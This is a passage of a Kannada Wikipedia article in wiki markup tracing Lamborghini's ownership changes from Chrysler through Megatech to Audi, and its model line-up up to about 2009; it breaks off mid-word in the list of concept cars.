ಗಮನಿಸಿದ ಕ್ರಿಸ್ಲರ್‌, ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು ತನ್ನ ಹೂಡಿಕೆಯನ್ನು ಸಮರ್ಥಿಸುವ ಮಟ್ಟದಲ್ಲಿ ಸಾಕಷ್ಟು ಕಾರುಗಳನ್ನು ಉತ್ಪಾದಿಸುತ್ತಿಲ್ಲ ಎಂದು ನಿರ್ಧರಿಸಿತು. ಅಮೆರಿಕಾದ ಕಂಪನಿಯು ತನ್ನ ಕೈನಿಂದ ಲಂಬೋರ್ಘಿನಿ ಕಂಪನಿಯನ್ನು ಯಾರಾದರೂ ತೆಗೆದುಕೊಳ್ಳಲು ಮುಂದೆಬರುತ್ತಾರೆಯೇ ಎಂದು ನೋಡಲು ಶುರುಮಾಡಿತು, ಮತ್ತು [[ಮೆಗಾಟೆಕ್‌]] ಎಂಬ ಒಂದು ಹಿಡುವಳಿ ಕಂಪನಿಯು ಇದರಲ್ಲಿ ಆಸಕ್ತಿ ತಳೆದಿದೆ ಎಂದು ಕಂಡುಕೊಂಡಿತು. ಕಂಪನಿಯು [[ಬರ್ಮುಡಾ]]ದಲ್ಲಿ ನೋಂದಾಯಿಸಲ್ಪಟ್ಟಿತ್ತು ಮತ್ತು [[ಇಂಡೋನೇಷಿಯಾದ]] SEDTCO ಪ್ರೊಪ್ರೈಟರಿ ವಾಣಿಜ್ಯಕೂಟದಿಂದ ಸಂಪೂರ್ಣ ಸ್ವಾಮ್ಯಕ್ಕೆ ಒಳಪಟ್ಟಿತ್ತು. ಇದರ ನೇತೃತ್ವವನ್ನು [[ಸೆಟಿಯಾವಾನ್‌ ಜೋಡಿ]] ಮತ್ತು [[ಇಂಡೋನೇಷಿಯಾದ]] ಆಗಿನ ಅಧ್ಯಕ್ಷರಾದ [[ಸುಹಾರ್ತೋ]]ರವರ ಕಿರಿಯ ಮಗನಾದ [[ಟೋಮಿ ಸುಹಾರ್ತೋ]] ಎಂಬಿಬ್ಬರು ವ್ಯವಹಾರಸ್ಥರು ವಹಿಸಿದ್ದರು. 1994ರ ಫೆಬ್ರವರಿಯ ಹೊತ್ತಿಗೆ 40 ದಶಲಕ್ಷ $ನಷ್ಟು ಹಣವು ಕೈಗಳನ್ನು ಬದಲಾಯಿಸಿದ ನಂತರ, ಲಂಬೋರ್ಘಿನಿಯು ಇಟಲಿಯ ಮಾಲೀಕತ್ವವನ್ನು ಬಿಟ್ಟಿತ್ತು, ಹಾಗೂ ಮೆಗಾಟೆಕ್‌ ಕಂಪನಿಯು ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿ, ಮೊದೆನಾದಲ್ಲಿದ್ದ ಅದರ ರೇಸಿಂಗ್‌ ಎಂಜಿನ್‌ ಕಾರ್ಖಾನೆ, ಮತ್ತು ಅಮೆರಿಕಾದ ವಿತರಕರ ಆಸಕ್ತಿಯ ಲಂಬೋರ್ಘಿನಿ USAಯನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು.<ref name="fundinguniverse" /> ಅಮೆರಿಕಾದ [[ವೆಕ್ಟರ್‌ ಮೋಟಾರ್ಸ್‌]] ಎಂಬ ಕಷ್ಟದಲ್ಲಿದ್ದ ಸೂಪರ್‌ಕಾರು ತಯಾರಕ ಕಂಪನಿಯಲ್ಲೂ 35%ನಷ್ಟು ಪಾಲನ್ನು ಹೊಂದಿದ್ದ ಸೆಟಿಯಾವಾನ್‌ ಜೋಡಿ, ವೆಕ್ಟರ್‌ ಹಾಗೂ ಲಂಬೋರ್ಘಿನಿ ಕಂಪನಿಗಳು ತಮ್ಮ ಉತ್ಪಾದನೆಯನ್ನು ಸುಧಾರಿಸಿಕೊಳ್ಳಲು ಸಮಯೋಗವನ್ನು ಹೊಂದುವುದು ಸೂಕ್ತ ಎಂದು ಆಲೋಚಿಸಿದ. ಹಿಂದೆ [[ಜಾಗ್ವಾರ್‌]]ನ [[ಲೋಟಸ್‌]] ಕಂಪನಿಗೆ ಸೇರಿದ್ದ ಮತ್ತು [[ಜನರಲ್‌ ಮೋಟಾರ್ಸ್‌]]‌ನ ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷನಾಗಿದ್ದ ಮೈಕೇಲ್‌ J. ಕಿಂಬರ್ಲಿ ಎಂಬಾತನನ್ನು ಅಧ್ಯಕ್ಷ ಹಾಗೂ ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕನನ್ನಾಗಿ ನೇಮಿಸಲಾಯಿತು. ಲಂಬೋರ್ಘಿನಿಯ ಸಮಗ್ರ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಅವಲೋಕಿಸಿದ ನಂತರ ಕಿಂಬರ್ಲಿ ಒಂದು ತೀರ್ಮಾನಕ್ಕೆ ಬಂದ. ಕೇವಲ ಒಂದು ಅಥವಾ ಎರಡು ಮಾದರಿಗಳನ್ನು ನೀಡುವುದರ ಬದಲು ಆ ಸಂಖ್ಯೆಯನ್ನು ಮತ್ತಷ್ಟು ವಿಸ್ತರಿಸುವುದು ಕಂಪನಿಗೆ ಅಗತ್ಯವಾಗಿದೆ, ಮತ್ತು ಅಮೆರಿಕಾದ ಕಾರು ಉತ್ಸಾಹಿಗಳಿಗೆ ಎಟುಕುವ ಕಾರೊಂದನ್ನು ಒದಗಿಸುವುದು ಅತ್ಯಗತ್ಯವಾಗಿದೆ ಎಂಬುದೇ ಅವನ ತೀರ್ಮಾನವಾಗಿತ್ತು. ಲಂಬೋರ್ಘಿನಿಯ ಪರಂಪರೆ ಹಾಗೂ ಔದ್ಯೋಗಿಕ ಕುಶಲತೆಯ ಕುರಿತಾಗಿ ಅರಿವು ಮೂಡಿಸಲು ಒಂದು ಮಾರಾಟಗಾರಿಕೆಯ ಕಾರ್ಯತಂತ್ರವನ್ನು ಆತ ಅನುಷ್ಠಾನಗೊಳಿಸಿದ. 1995ರಲ್ಲಿ, ಡಯಾಬ್ಲೊ ಮಾದರಿಯನ್ನು ಉನ್ನತ-ವರ್ಗದ ''ಸೂಪರ್‌ ವೆಲೋಸ್‌'' ಮಾದರಿಯಾಗಿ ಪರಿಷ್ಕರಿಸಿದಾಗ ಲಂಬೋರ್ಘಿನಿಯು ಒಂದು ಯಶಸ್ಸನ್ನು ದಾಖಲಿಸಿತು. ಆದರೆ 1995ರಲ್ಲಿ, ಮಾರಾಟವು ಹೆಚ್ಚಾಗುತ್ತಿದ್ದರೂ ಸಹ, ಕಂಪನಿಯ ಆಡಳಿತ ವ್ಯವಸ್ಥೆಗೆ ಹೊಸರೂಪ ಕೊಡಲಾಯಿತು. ಟೋಮಿ ಸುಹಾರ್ತೋನ V'ಪವರ್‌ ಕಾರ್ಪೊರೇಷನ್‌ಗೆ 60%ನಷ್ಟು ಪಾಲು, ಜೆಫ್‌ ಯಾಪ್‌ನಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುತ್ತಿದ್ದ ಮೈಕಾಮ್‌ Bhd ಎಂಬ ಮಲೇಷಿಯಾದ ಒಂದು ಕಂಪನಿಗೆ ಉಳಿದ 40%ನಷ್ಟು ಪಾಲು ದಕ್ಕಿತು.<ref name="fundinguniverse" /> [[File:Goodwood Breakfast Club - Lamborghini Diablo GT.jpg|thumb|left|90ರ ದಶಕದಾದ್ಯಂತ ಡಯಾಬ್ಲೊ ಮಾದರಿಯು ಲಂಬೋರ್ಘಿನಿಯ ಮೂಲಾಧಾರವಾಗಿತ್ತು, ಮತ್ತು ಮಾಲೀಕತ್ವದಲ್ಲಿನ ಹಲವಾರು ಬದಲಾವಣೆಗಳಾದ್ಯಂತ ನಿರಂತರವಾಗಿ ಪರಿಷ್ಕರಣೆಗೆ ಒಳಗಾಗುತ್ತಿತ್ತು]] ಮಾರಾಟದಲ್ಲಿನ ತನ್ನ ಹೆಚ್ಚಳವು ದಾಖಲಿಸಲ್ಪಡುತ್ತಿದ್ದರೂ [[ಅಪಾಯದ ಎಚ್ಚರಿಕೆಯನ್ನು]] ಕಡೆಗಣಿಸದೆ, ಲಂಬೋರ್ಘಿನಿಯು ಲಂಬೋರ್ಘಿನಿರ ನವೆಂಬರ್‌ನಲ್ಲಿ ವಿಟೋರಿಯೋ ಡಿ ಕ್ಯಾಪುವಾನನ್ನು ಅಧ್ಯಕ್ಷ ಮತ್ತು CEO ಆಗಿ ನೇಮಿಸಿಕೊಂಡಿತು. 40 ವರ್ಷಗಳಿಗಿಂತ ಹೆಚ್ಚಿನ ಅವಧಿಯ ಸೇವೆಯನ್ನು ವಾಹನೋದ್ಯಮದ ದೈತ್ಯಕಂಪನಿಯಾದ [[ಫಿಯಟ್‌ S.p.]][[A.]]ಯಲ್ಲಿ ಸಲ್ಲಿಸಿದ್ದ ಈ ಪರಿಣಿತನು ಕ್ರೀಡಾಕಾರುಗಳ ನಿರ್ಮಾತೃವನ್ನು ಮತ್ತೊಮ್ಮೆ ಲಾಭದ ಹೊಸ್ತಿಲಲ್ಲಿ ನಿಲ್ಲಿಸಬಹುದು ಎಂಬ ಭಋವಸೆಯೇ ಅವನ ನೇಮಕಾತಿಗೆ ಕಾರಣವಾಗಿತ್ತು. ವೆಚ್ಚವನ್ನು ಕಡಿತಗೊಳಿಸುವ ಕ್ರಮಗಳನ್ನು ಡಿ ಕ್ಯಾಪುವಾ ಪ್ರಾರಂಭಿಸಿದ, ಕಂಪನಿಯ ಹಲವಾರು ಅಧಿಕಾರಿಗಳು ಹಾಗೂ ಸಲಹೆಗಾರರು ಕಂಪನಿಯಿಂದ ಹೊರಹೋಗುವುದಕ್ಕೆ ಾತ ಅವಕಾಶ ಕಲ್ಪಿಸಿದ, ಮತ್ತು ಉತ್ಪಾದಕತೆಯಲ್ಲಿ ಶೇಕಡಾ 50ರಷ್ಟು ಗಳಿಕೆಯನ್ನು ಸಾಧಿಸಲು ಉತ್ಪಾದನೆಯ ಪೂರ್ಣಪರೀಕ್ಷೆಯನ್ನು ಮಾಡಿದ. 1997ರಲ್ಲಿ, ಲಂಬೋರ್ಘಿನಿಯು ಅಂತಿಮವಾಗಿ ತನ್ನ ಲಾಭ-ನಷ್ಟವಿರದ ಹಂತವನ್ನು ಹಾದುಹೋಗಿ, ಲಾಭದಾಯಕವಾಗಿರಲು ಅಗತ್ಯವಾಗಿದ್ದ ಕಾರುಗಳಿಗಿಂತ ಹದಿಮೂರು ಹೆಚ್ಚು ಕಾರುಗಳನ್ನು ಅಂದರೆ, 209 ಡಯಾಬ್ಲೊ ಕಾರುಗಳನ್ನು ಮಾರಾಟಮಾಡಿತು. ಆಕ್ರಮಣಶೀಲ ಮಾರಾಟಗಾರಿಕೆ ಮತ್ತು ಪರವಾನಗಿಯ ವ್ಯವಹಾರಗಳನ್ನು ಅನುಷ್ಠಾನಗೊಳಿಸುವ ಮೂಲಕ ಲಂಬೋರ್ಘಿನಿಯ ಹೆಸರು ಮತ್ತು ಗುರುತನ್ನೂ ಸಹ ಡಿ ಕ್ಯಾಪುವಾ ಹತೋಟಿಗೆ ತಂದುಕೊಂಡ. "ಬೇಬಿ ಲ್ಯಾಂಬೊ" ಮಾದರಿಯ ಅಭಿವೃದ್ಧಿ ಕಾರ್ಯವು ಅಂತಿಮವಾಗಿ ಪ್ರಾರಂಭವಾಗಿ, 100 ದಶಲಕ್ಷ $ನಷ್ಟು ಹಣದ ಆರಂಭಿಕ ಹೂಡಿಕೆಯೊಂದಿಗೆ ಮುಂದಕ್ಕೆ ಚಲಿಸಿತು.<ref name="fundinguniverse" /> ಅದೇ ವರ್ಷದ ಜುಲೈ ತಿಂಗಳಲ್ಲಿ ಏಷ್ಯಾವನ್ನು ಭದ್ರವಾಗಿ ಹಿಡಿದುಕೊಂಡ [[ಹಣಕಾಸಿನ ಬಿಕ್ಕಟ್ಟು]] ಮಾಲೀಕತ್ವದ ಮತ್ತೊಂದು ಬದಲಾವಣೆಗಾಗಿ ವೇದಿಕೆಯನ್ನು ಸಿದ್ಧಪಡಿಸಿತು. ವೋಕ್ಸ್‌ವ್ಯಾಗನ್‌ನ ಸಂಸ್ಥಾಪಕನಾದ [[ಫರ್ಡಿನಾಂಡ್‌ ಪೋರ್ಷ್‌‌]]ನ ಮೊಮ್ಮಗ ಮತ್ತು [[ವೋಕ್ಸ್‌ವ್ಯಾಗನ್‌ AG]]ಯ ಹೊಸ ಅಧ್ಯಕ್ಷನಾದ [[ಫರ್ಡಿನಾಂಡ್‌ ಪೀಚ್‌]], 1998ರಲ್ಲಿ ಕೊಳ್ಳುವಿಕೆಯ ಅಮಲಿನಲ್ಲಿ ತನ್ನನ್ನು ತೊಡಗಿಸಿಕೊಂಡ. ಸುಮಾರು 110 ದಶಲಕ್ಷ $ನಷ್ಟು ಮೊತ್ತಕ್ಕೆ ಲಂಬೋರ್ಘಿನಿಯ ಸ್ವಾಧೀನವೂ ಈ ಕೊಳ್ಳುವಿಕೆಯಲ್ಲಿ ಸೇರಿತ್ತು. ವೋಕ್ಸ್‌ವ್ಯಾಗನ್‌ನ ವಿಲಾಸಿ ಕಾರು ವಿಭಾಗವಾದ [[AUDI AG]]ಯ ಮೂಲಕ ಲಂಬೋರ್ಘಿನಿಯ ಖರೀದಿಯಾಯಿತು. ಆಡಿ ಕಂಪನಿಯ ವಕ್ತಾರನಾದ ಜುಯೆರ್ಗನ್‌ ಡಿ ಗ್ರೀವೇಯು ''[[ವಾಲ್‌ ಸ್ಟ್ರೀಟ್‌ ಜರ್ನಲ್‌]]'' ನೊಂದಿಗೆ ಮಾತನಾಡುತ್ತಾ, "ಆಡಿ ಕಂಪನಿಯ ಕ್ರೀಡಾಕಾರುಗಳ ಶ್ರೇಣಿಯನ್ನು ಲಂಬೋರ್ಘಿನಿಯು ಬಳಪಡಿಸಬಹುದು, ಮತ್ತು ಇದರ ಜೊತೆಗೆ ನಮ್ಮ ತಾಂತ್ರಿಕ ಪರಿಣಿತಿಯಿಂದ ಲಂಬೋರ್ಘಿನಿಯು ಪ್ರಯೋಜನವನ್ನು ಪಡೆಯಬಹುದು" ಎಂದು ತಿಳಿಸಿದ.<ref name="fundinguniverse" /> ===1999ರಿಂದ ಇಂದಿನವರೆಗೆ: ಆಡಿಯ ಪಾದಾರ್ಪಣ=== ಅಮೆರಿಕಾದ ಮಾಲೀಕತ್ವವನ್ನು ಬಿಟ್ಟ ಕೇವಲ ಐದು ವರ್ಷಗಳ ನಂತರ, ಲಂಬೋರ್ಘಿನಿಯು ಈಗ ಜರ್ಮನ್‌ ನಿಯಂತ್ರಣದ ಅಡಿಯಲ್ಲಿತ್ತು. ಆದರೂ ಮತ್ತೊಮ್ಮೆ, ತೊಂದರೆಗೊಳಗಾದ ಇಟಲಿಯ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು ಮರುಸಂಘಟನೆಗೊಂಡು, ಮರುರೂಪುಗೊಂಡ ಒಂದು ಹಿಡುವಳಿ ಕಂಪನಿಯಾಗಿ ಮಾರ್ಪಟ್ಟಿತು. ಆ ಕಂಪನಿಗೆ ಲಂಬೋರ್ಘಿನಿ ಹೋಲ್ಡಿಂಗ್‌ S.p.A. ಎಂಬ ಹೆಸರು ಬಂತು. ಆಡಿ ಕಂಪನಿಯ ಅಧ್ಯಕ್ಷನಾದ [[ಫ್ರಾಂಜ್‌-ಜೋಸೆಫ್‌ ಪೀಫ್‌ಜೆನ್‌]] ಇದರ ಹೊಸ ಅಧ್ಯಕ್ಷನಾಗಿ ಅಧಿಕಾರ ಸ್ವೀಕರಿಸಿದ. ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ S.p.A. ಕಂಪನಿಯು ಹಿಡುವಳಿ ಕಂಪನಿಯ ಒಂದು ಅಂಗಸಂಸ್ಥೆಯಾಗಿ ಮಾರ್ಪಟ್ಟಿತು. ಕಾರುಗಳ ವಿನ್ಯಾಸಗಾರಿಕೆ ಹಾಗೂ ನಿರ್ಮಾಣಕಾರ್ಯದ ಕಡೆಗೆ ಗಮನಹರಿಸಲು ಇದಕ್ಕೆ ಅನುವುಮಾಡಿಕೊಡಲಾಯಿತು. ಕಂಪನಿಯ ಪರವಾನಗಿ ವ್ಯವಹಾರಗಳು ಹಾಗೂ ಸಾಗರದ ಎಂಜಿನ್‌ ತಯಾರಿಕೆಯ ಹೊಣೆಗಾರಿಕೆಯನ್ನು ಪ್ರತ್ಯೇಕ ಹಿತಾಸಕ್ತಿಗಳು ವಹಿಸಿಕೊಂಡವು. ವಿಟೋರಿಯೋ ಡಿ ಕ್ಯಾಪುವಾ ಮೂಲತಃ ಅಧಿಕಾರದಲ್ಲಿ ಉಳಿದುಕೊಂಡನಾದರೂ 1999ರ ಜೂನ್‌ನಲ್ಲಿ ರಾಜೀನಾಮೆ ನೀಡಿದ. ಅವನ ಜಾಗಕ್ಕೆ ಗಿಯುಸೆಪ್ಪಿ ಗ್ರೆಕೊನನ್ನು ನೇಮಿಸಲಾಯಿತು. ಈತ ಫಿಯಟ್‌, ಆಲ್ಫಾ ರೋಮಿಯೋ, ಮತ್ತು ಫೆರಾರಿ ಕಂಪನಿಗಳಲ್ಲಿ ಕೆಲಸ ಮಾಡಿ ಅನುಭವವನ್ನು ಪಡೆದಿದ್ದ ಉದ್ಯಮದ ಮತ್ತೋರ್ವ ಪರಿಣಿತನಾಗಿದ್ದ. ಡಯಾಬ್ಲೊದ ಅಂತಿಮ ವಿಕಸಿತ ಮಾದರಿಯಾದ GTಯನ್ನು ಬಿಡುಗಡೆಮಾಡಲಾಯಿತು. ಆದರೆ ಅದನ್ನು U.S.ಗೆ ರಫ್ತು ಮಾಡಲಿಲ್ಲ. ಇದರ ಕಡಿಮೆ-ಪ್ರಮಾಣದ ಉತ್ಪಾದನೆಯಿಂದಾಗಿ, ಹೊರಸೂಸುವಿಕೆಯ ಪರೀಕ್ಷೆಗಳು ಮತ್ತು ಅಪ್ಪಳಿಸುವಿಕೆಯ ಯೋಗ್ಯವಾಗಿರುವಿಕೆಯ ಅನುಮೋದನೆಗಳನ್ನು ಪಡೆಯುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಾದುಹೋಗಲು ಇದನ್ನು ಲಾಭಕರವಲ್ಲದ್ದಾಗಿ ಮಾಡಿತ್ತು. ಡಯಾಬ್ಲೊ ಮಾದರಿಯ ವಿನ್ಯಾಸದಲ್ಲಿ ಅಮೆರಿಕಾದ ಮಾಲೀಕತ್ವವು ಪ್ರಭಾವ ಬೀರಿದ ರೀತಿಯಲ್ಲಿಯೇ, ಡಯಾಬ್ಲೋದ ಬದಲಿ ಮಾದರಿಯ ಸೃಷ್ಟಿಯಲ್ಲಿಯೂ ಲಂಬೋರ್ಘಿನಿಯ ಹೊಸ ಜರ್ಮನ್‌ ಮೂಲಸಂಸ್ಥೆಯೂ ಒಂದು ಬೃಹತ್ ಪಾತ್ರವನ್ನು ವಹಿಸಿತು. ಆಂತರಿಕ ವಲಯದಲ್ಲಿ ’ಪ್ರಾಜೆಕ್ಟ್‌ L140’ ಎಂದೇ ಹೆಸರಾಗಿದ್ದ, ಮೊದಲ ಹೊಸ ಲಂಬೋರ್ಘಿನಿಯು ಒಂದು ದಶಕಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಅವಧಿಯಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯ ಮರುಹುಟ್ಟನ್ನು ಪ್ರತಿನಿಧಿಸಿತು, ಮತ್ತು ತಕ್ಕರೀತಿಯಲ್ಲಿ ಹೆಸರಿಸಲ್ಪಟ್ಟಿತು. ಮಿಯುರಾ ಶ್ರೇಣಿಯನ್ನು ಮೂಲತಃ ಹುಟ್ಟಿಸಿದ್ದ ಗೂಳಿಗಾಗಿ ಇದು ನಡೆಯಿತು ಎಂಬುದು ವಿಶೇಷ. ಮಿಯುರಾ ಶ್ರೇಣಿಯು ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿಯನ್ನು ಸರಿಸುಮಾರು 40 ವರ್ಷಗಳಷ್ಟು ಹಿಂದೆಯೇ ಪ್ರೇರೇಪಿಸಿತ್ತು: [[ಮರ್ಸಿಲ್ಯಾಗೊ]] ಹೊಸ ಅಧಿಪತ್ಯದ ಕಾರನ್ನು ಲಂಬೋರ್ಘಿನಿಯ ವಿನ್ಯಾಸ ವಿಭಾಗದ ಹೊಸ ಮುಖ್ಯಸ್ಥನಾದ ಬೆಲ್ಜಿಯಾದ [[ಲ್ಯುಕ್‌ ಡಂಕರ್‌ವೋಕ್‌]] ಎಂಬಾತ ವಿನ್ಯಾಸಗೊಳಿಸಿದ್ದ. [[File:Lamborghini Gallardo silver.jpg|thumb|left|200px|1997ರಲ್ಲಿ ರೂಪಿಸಲಾದ "ಬೇಬಿ ಲ್ಯಾಂಬೊ" ಮಾದರಿಯು, ಗಲ್ಲಾರ್ಡೊ ಎಂಬ ಹೆಸರಿನಲ್ಲಿ 2003ರಲ್ಲಿ ಪರಿಚಯಿಸಲ್ಪಟ್ಟಿತು]] ಜರ್ಮನ್‌ ಮಾಲೀಕತ್ವ ಅಡಿಯಲ್ಲಿ, ಅನೇಕ ವರ್ಷಗಳಿಂದ ತಾನು ಕಾಣದಿದ್ದ ಸ್ಥಿರತೆಯನ್ನು ಲಂಬೋರ್ಘಿನಿಯು ಕಂಡುಕೊಂಡಿತು. 2003ರಲ್ಲಿ, ಪುಟ್ಟದಾದ, V10-ಅಳವಡಿಸಲ್ಪಟ್ಟಿದ್ದ [[ಗಲ್ಲಾರ್ಡೊ]]ನೊಂದಿಗೆ ಲಂಬೋರ್ಘಿನಿಯು ಮರ್ಸಿಲ್ಯಾಗೊವನ್ನು ಅನುಸರಿಸಿತು. ಮರ್ಸಿಲ್ಯಾಗೊ ಮಾದರಿಗಿಂತ ಹೆಚ್ಚು ಕೈಗೆಟುಕುವಂತಿರಬೇಕು ಮತ್ತು ಹೆಚ್ಚು ಬಳಸಬಹುದಾದ ಮಾದರಿಯಾಗಬೇಕು ಎಂಬುದು ಅದರ ಉದ್ದೇಶವಾಗಿತ್ತು. 2007ರಲ್ಲಿ, ಆಡಿ ಮತ್ತು ಲಂಬೋರ್ಘಿನಿಯ ವಿನ್ಯಾಸದ ಹೊಸ ಮುಖ್ಯಸ್ಥನಾಗಿ [[ವೊಲ್ಫ್‌ಗ್ಯಾಂಗ್‌ ಎಗ್ಗರ್‌]] ಎಂಬಾತ ನೇಮಕಗೊಂಡು, [[ವಾಲ್ಟರ್‌ ಡಿ’ಸಿಲ್ವಾ]]ನನ್ನು ಪಲ್ಲಟಗೊಳಿಸಿದ. ತನ್ನ ನೇಮಕಾತಿಯ ಅವಧಿಯಲ್ಲಿ ವಾಲ್ಟರ್‌ ಡಿ’ಸಿಲ್ವಾ ಕೇವಲ ಒಂದೇ ಓಂದು ಕಾರಿನ ವಿನ್ಯಾಸಕ್ಕೆ ಜವಾವ್ದಾರನಾಗಿದ್ದ. ಇದು 2006ರಲ್ಲಿ ಬಂದ [[ಮಿಯುರಾ ಕಾನ್ಸೆಪ್ಟ್‌]] ಎಂಬ ಕಾರು ಮಾದರಿಯಾಗಿತ್ತು. ಮರ್ಸಿಲ್ಯಾಗೊದಿಂದ ಜನ್ಯವಾದ, [[ಸ್ಟೆಲ್ತ್‌ ಫೈಟರ್‌]]-ಪ್ರೇರಿತ [[ರೆವೆಂಟನ್‌]] ಕಾರುಗಳ ಬಿಡುಗಡೆಯನ್ನು 2008 ಕಂಡಿತು. ರೆವೆಂಟನ್ ಮಾದರಿಯು ಒಂದು ಅತೀವವಾದ ಸೀಮಿತ ಆವೃತ್ತಿಯ [[ಸೂಪರ್‌ಕಾರು]] ಆಗಿದ್ದು, ಹಿಂದೆಂದೂ ಮಾರಾಟವಾಗದ ಅತ್ಯಂತ ಶಕ್ತಿಯುತವಾದ ಮತ್ತು ದುಬಾರಿಯಾದ ಲಂಬೋರ್ಘಿನಿ ಕಾರು ಆಗಿರುವುದರ ಹೆಗ್ಗಳಿಕೆಯನ್ನು ಅದು ಪಡೆದುಕೊಂಡಿತು. ಬಿಡುಗಡೆಯಾಗಿರುವ ತೀರಾ ಇತ್ತೀಚಿನ ಮಾದರಿಗಳಲ್ಲಿ 2009ರ [[ಮರ್ಸಿಲ್ಯಾಗೊ LP 670-4 SV]], ಲಂಬೋರ್ಘಿನಿಯ ಹ್ಯಾಲೋ ಸೂಪರ್‌ ಕಾರಿನ ಒಂದು ''ಸೂಪರ್‌ ವೆಲೋಸ್‌'' ಆವೃತ್ತಿ, ಹಾಗೂ 2009ರ [[ರೆವೆಂಟನ್‌ ರೋಡ್‌ಸ್ಟರ್‌]] ಮಾದರಿಗಳು ಸೇರಿವೆ. 2007ರಲ್ಲಿ 2,580 ಕಾರುಗಳಷ್ಟರ ಒಂದು ಎತ್ತರದಿಂದ ಇಳಿಯುವ ಮೂಲಕ, ಇತ್ತೀಚೆಗೆ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು ಮಾರಾಟದಲ್ಲಿನ ಕುಸಿತವನ್ನು ಕಂಡಿದೆ; [[ವಿಶ್ವದ ಹಣಕಾಸಿನ ಬಿಕ್ಕಟ್ಟಿನ]] ಪ್ರಭಾವಗಳೇ ಮಾರಾಟದಲ್ಲಿನ ಇಳಿಕೆಗೆ ಕಾರಣ ಎಂದು ಹೇಳಲಾಗಿದ್ದು, ಅದು 2011ರಾದ್ಯಂತ ಸೂಪರ್‌ಕಾರುಗಳ ಮಾರಾಟದಲ್ಲಿ ಕುಸಿತ ಕಂಡುಬರಲಿದೆ ಎಂದು CEO ಸ್ಟೀಫನ್‌ ವಿಂಕಲ್‌ಮನ್‌ ಮುನ್ನುಡಿಯಲು ಅನುವುಮಾಡಿಕೊಟ್ಟಿದೆ.<ref>{{cite web|url=http://www.reuters.com/article/idUSTRE5591XB20090610|title=Lamborghini sees no recovery until 2011|last= Winterbottom|first=Jo |date=June 10, 2009 |work=Reuters}}</ref>{{-}} ==ವಾಹನಗಳ ಪಟ್ಟಿ== ===ಪ್ರಸಕ್ತ ಶ್ರೇಣಿ=== 2009ರವರೆಗೆ ಇದ್ದಂತೆ, ವಾಹನದ ಪ್ರಸಕ್ತ ಶ್ರೇಣಿಯಲ್ಲಿ ಮಧ್ಯ-ಎಂಜಿನ್ನಿನ ಎರಡು-ಆಸನಗಳ ಕ್ರೀಡಾಕಾರುಗಳ ಇಡೀ ಶ್ರೇಣಿಯಿದೆ. ಅವುಗಳೆಂದರೆ: V12-ಶಕ್ತಿಯನ್ನು ಹೊಂದಿರುವ [[ಮರ್ಸಿಲ್ಯಾಗೊ LP640]], [[LP640 ರೋಡ್‌ಸ್ಟರ್‌]] ಮತ್ತು [[LP670-4 SV]], ಹಾಗೂ ಸಣ್ಣ ಗಾತ್ರದ, V10-ಶಕ್ತಿಯನ್ನು ಹೊಂದಿರುವ [[ಗಲ್ಲಾರ್ಡೊ LP560-4]] ಮತ್ತು [[ಸ್ಪೈಡರ‍್]]. ಈ ನಾಲ್ಕು ಕಾರುಗಳ ಸೀಮಿತ-ಆವೃತ್ತಿಯ ರೂಪಾಂತರಗಳು ಕೂಡಾ ಕಾಲಾನುಕಾಲಕ್ಕೆ ತಯಾರಾಗುತ್ತವೆ. ===ಹೊಸ ಕಲ್ಪನೆಯ ಮಾದರಿಗಳು=== [[File:Lamborghini Concept s.jpg|thumb|left|ಕಾನ್ಸೆಪ್ಟ್‌ S, ಗಲ್ಲಾರ್ಡೊದಿಂದ ಜನ್ಯವಾದ ಒಂದು ಮಾದರಿಯಾಗಿದೆ]] [[File:Lamborghini Estoque 2.JPG|thumb|right|ಎಸ್ಟೋಕ್‌, 2008ರ ಸೇಡನ್‌ನ ಒಂದು ಪರಿಕಲ್ಪನೆಯಾಗಿದೆ]] ತನ್ನ ಇತಿಹಾಸದಾದ್ಯಂತ, [[ಹೊಸಕಲ್ಪನೆಯ ಕಾರುಗಳ]] ಒಂದು ವೈವಿಧ್ಯತೆಯನ್ನು ಲಂಬೋರ್ಘಿನಿಯು ರೂಪಿಸಿದೆ ಹಾಗೂ ಪ್ರಸ್ತುತಪಡಿಸಿದೆ. [[350GTV]] ಎಂಬ ಹೆಸರಿನ ಲಂಬೋರ್ಘಿನಿ ಮೊಟ್ಟಮೊದಲ ಮೂಲಮಾದರಿಯು 1963ರಲ್ಲಿ ಹೊರಬರುವುದರೊಂದಿಗೆ ಇದು ಪ್ರಾರಂಭವಾಯಿತು. ಇತರ ಪ್ರಸಿದ್ಧ ಮಾದರಿಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: 1967ರಲ್ಲಿ ಬಂದ ಬೆರ್ಟೋನ್‌ನ [[ಮರ್ಝಾಲ್‌]], 1974ರಲ್ಲಿ ಬಂದ [[ಬ್ರೇವೋ]], ಮತ್ತು 1980ರಲ್ಲಿ ಬಂದ [[ಅಥಾನ್‌]], 1987ರಲ್ಲಿ ಬಂದ ಕ್ರಿಸ್ಲರ್‌ನ [[ಪೋರ್ಟೊಫಿನೊ]], 1995ರಲ್ಲಿ ಬಂದ [[ಇಟಲಿ ವಿನ್ಯಾಸ]]-ಶೈಲಿಯ [[ಕ್ಯಾಲಾ]], ಮತ್ತು 1996ರಲ್ಲಿ ಬಂದ [[ಝಗ್ಯಾಟೊ]]-ನಿರ್ಮಿತ [[ರಾಪ್ಟರ್‌]]. ಮುಖ್ಯ ವಿನ್ಯಾಸಕಾರ ವಾಲ್ಟೇರ‍್ ಡಿ’ಸಿಲ್ವಾನ ಮೊದಲ ಸೃಷ್ಟಿಯಾದ ಹಿಂದಣ-ಶೈಲಿಯ ಒಂದು [[ಲಂಬೋರ್ಘಿನಿ 